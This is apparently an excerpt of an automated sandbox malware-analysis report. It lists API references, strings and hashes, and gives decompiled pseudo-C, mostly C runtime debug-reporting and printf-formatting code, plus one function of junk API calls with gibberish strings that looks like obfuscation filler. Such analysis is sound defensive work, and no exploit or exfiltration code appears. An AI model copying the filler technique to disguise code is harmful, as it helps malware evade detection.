0x0042ca4b
0x0042c9d8
0x0042c95c
0x0042ca51
0x0042ca51
0x0042ca58
0x0042ca71
0x0042ca7a
0x0042ca82
0x0042ca83
0x0042ca84
0x0042ca92
0x0042ca92
0x0042c7ce
0x0042c3a2
0x0042c3af
0x0042c3b9
0x0042c3c6
0x0042c3bb
0x0042c3be
0x0042c3be
0x0042c3d0
0x0042c3d7
0x0042c3e2
0x0042c3ef
0x0042c3fa
0x0042c400
0x0042c405
0x00000000

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C363
__invoke_watson_if_error.LIBCMTD ref: 0042C3A2
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C3AF
OutputDebugStringA.KERNEL32(004061A4), ref: 0042C3D7
OutputDebugStringA.KERNEL32(, Line ), ref: 0042C3E2
OutputDebugStringA.KERNEL32(?), ref: 0042C3EF
OutputDebugStringA.KERNEL32(00406198), ref: 0042C3FA
_wcscat_s.LIBCMTD ref: 0042C5BA

Part of subcall function 00432140: __invalid_parameter.LIBCMTD ref: 004321B2

__invoke_watson_if_error.LIBCMTD ref: 0042C5C3

Part of subcall function 0041DFD0: __invoke_watson.LIBCMTD ref: 0041DFF1

_wcscat_s.LIBCMTD ref: 0042C5F2

Part of subcall function 00432140: _memset.LIBCMT ref: 0043221B
Part of subcall function 00432140: __invalid_parameter.LIBCMTD ref: 00432277

__invoke_watson_if_error.LIBCMTD ref: 0042C5FB
__snwprintf_s.LIBCMTD ref: 0042C654

Part of subcall function 0042BCA0: __vsnprintf_s_l.LIBCMTD ref: 0042BCC2

__invoke_watson_if_oneof.LIBCMTD ref: 0042C68D
_wcscpy_s.LIBCMTD ref: 0042C6D2
__invoke_watson_if_error.LIBCMTD ref: 0042C6DB
__cftoe.LIBCMTD ref: 0042C74F
__invoke_watson_if_oneof.LIBCMTD ref: 0042C77E
_wcscpy_s.LIBCMTD ref: 0042C7B6
__invoke_watson_if_error.LIBCMTD ref: 0042C7BF
__itow_s.LIBCMTD ref: 0042C399

Part of subcall function 00436DB0: _xtow_s@20.LIBCMTD ref: 00436DDB

__strftime_l.LIBCMTD ref: 0042C459
__invoke_watson_if_oneof.LIBCMTD ref: 0042C492
_wcscpy_s.LIBCMTD ref: 0042C4D7
__invoke_watson_if_error.LIBCMTD ref: 0042C4E0
_wcscpy_s.LIBCMTD ref: 0042C533
__invoke_watson_if_error.LIBCMTD ref: 0042C53C
_wcscat_s.LIBCMTD ref: 0042C56D
__invoke_watson_if_error.LIBCMTD ref: 0042C576

Strings

e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042C76E
_VCrtDbgReportA, xrefs: 0042C37D, 0042C47C, 0042C4BC, 0042C516, 0042C550, 0042C59F, 0042C5D7, 0042C677, 0042C6B7, 0042C769, 0042C79B, 0042C9F3
t8j, xrefs: 0042C78D
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C5A4
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C4C1
Assertion failed!, xrefs: 0042C500
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C378, 0042C477, 0042C4B7, 0042C511, 0042C54B, 0042C59A, 0042C5D2, 0042C672, 0042C6B2, 0042C764, 0042C796, 0042C9EE
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042C7A5
, Line , xrefs: 0042C3DD
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C6BC
<file unknown>, xrefs: 0042C3C6
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C51B
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C555
%s(%d) : %s, xrefs: 0042C63E
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042C5DC
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C382, 0042C9F8
Assertion failed: , xrefs: 0042C4F4
Second Chance Assertion Failed: File , xrefs: 0042C3AA
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042C7A0
_CrtDbgReport: String too long or IO Error, xrefs: 0042C4C6, 0042C6C1
t9j, xrefs: 0042C9E5
(*_errno()), xrefs: 0042C481, 0042C67C

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3801329020-1614164922
Opcode ID: 0f634ba87b075dc9ecb1b5a081a19227ebbfbd38825d24be9ea942da8751419c
Instruction ID: dc2cbdfdbf8cc36883e7be5cc9e1bc214ff1449dde7997299dceacb836e81cb7
Opcode Fuzzy Hash: 0f634ba87b075dc9ecb1b5a081a19227ebbfbd38825d24be9ea942da8751419c
Instruction Fuzzy Hash: 4602B5B0E40724ABEB20DF50DC46BDF7374AB14745F5081AAF6097A2C1D7B89A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419CAD, Relevance: 36.8, APIs: 13, Strings: 8, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 00419CC3
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 00419CD6
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419CF4
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419CFE
GetProfileStringA.KERNEL32(yobahojicusenino,pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow,leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled,?,00000000), ref: 00419D1C
GetLastError.KERNEL32 ref: 00419D22
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419D3D
GetWindowsDirectoryW.KERNEL32(?,00000000), ref: 00419D4C
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419D5D
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419D7D
GetStartupInfoW.KERNEL32(?), ref: 00419D8A
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419D9E
GlobalUnWire.KERNEL32 ref: 00419DFC
GetProcessHeap.KERNEL32 ref: 00419E48
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00419E52
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419E60
SetPriorityClass.KERNEL32(00000000,00000000), ref: 00419E6A

Strings

pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow, xrefs: 00419D12
yobahojicusenino, xrefs: 00419D17
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419CEF
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419CE5
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419D78
gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419CEA
leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled, xrefs: 00419D0D
u7, xrefs: 00419DA4

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Profile$InfoString$ConsoleDirectoryErrorLastProcessWrite$CharacterClassCursorDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled$pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$yobahojicusenino$u7
API String ID: 1951985626-1659383190
Opcode ID: 970f67b5fa081e90106a7bce2932f14c4636e33e9b229d0ef54d7c49c763caed
Instruction ID: 58e87e05199c074b9d606193526fa216d6d3924ef4ee4631a57b708b64756dcd
Opcode Fuzzy Hash: 970f67b5fa081e90106a7bce2932f14c4636e33e9b229d0ef54d7c49c763caed
Instruction Fuzzy Hash: A6313D75940258EFDB50DB90DD5AFD977B9AB04706F1040A6F246F54E0C7B81AC4CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 00434F99, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434F99(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E00428370(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E00428370(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E00428370(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E00428370(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00428390(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00428390(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E004307A0(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E00430820( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041C550( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435580))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E00431230( *(_t701 - 0x251) & 0x000000ff, E0041AE60(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435690( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00435690( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E390();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422E80(_t616))) = 0x16;
																									E00422C10(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041AE30(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x4355b8; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M004355A0))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x4355e0; // 0x4dee9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M004355CC))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t701 - 0x314) = 0;
																					} else {
																						 *(_t701 - 0x314) = 1;
																					}
																					_t618 =  *(_t701 - 0x314);
																					 *(_t701 - 0x278) =  *(_t701 - 0x314);
																					if( *(_t701 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E390();
																						_t704 = _t704 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t701 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E80(_t618))) = 0x16;
																						E00422C10(_t589, _t618, _t699, _t700, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t701 - 0x2f0) = 0xffffffff;
																						E0041AE30(_t701 - 0x40);
																						_t518 =  *(_t701 - 0x2f0);
																						L229:
																						return E0042BCD0(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
																					}
																				}
																			}
																			L219:
																			if( *(_t701 - 0x25c) == 0 ||  *(_t701 - 0x25c) == 7) {
																				 *(_t701 - 0x334) = 1;
																			} else {
																				 *(_t701 - 0x334) = 0;
																			}
																			_t605 =  *(_t701 - 0x334);
																			 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
																			if( *(_t701 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E390();
																				_t704 = _t704 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t701 - 0x2e0) != 0) {
																				 *(_t701 - 0x300) =  *(_t701 - 0x24c);
																				E0041AE30(_t701 - 0x40);
																				_t518 =  *(_t701 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422E80(_t605))) = 0x16;
																				E00422C10(_t589, _t605, _t699, _t700, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t701 - 0x2fc) = 0xffffffff;
																				E0041AE30(_t701 - 0x40);
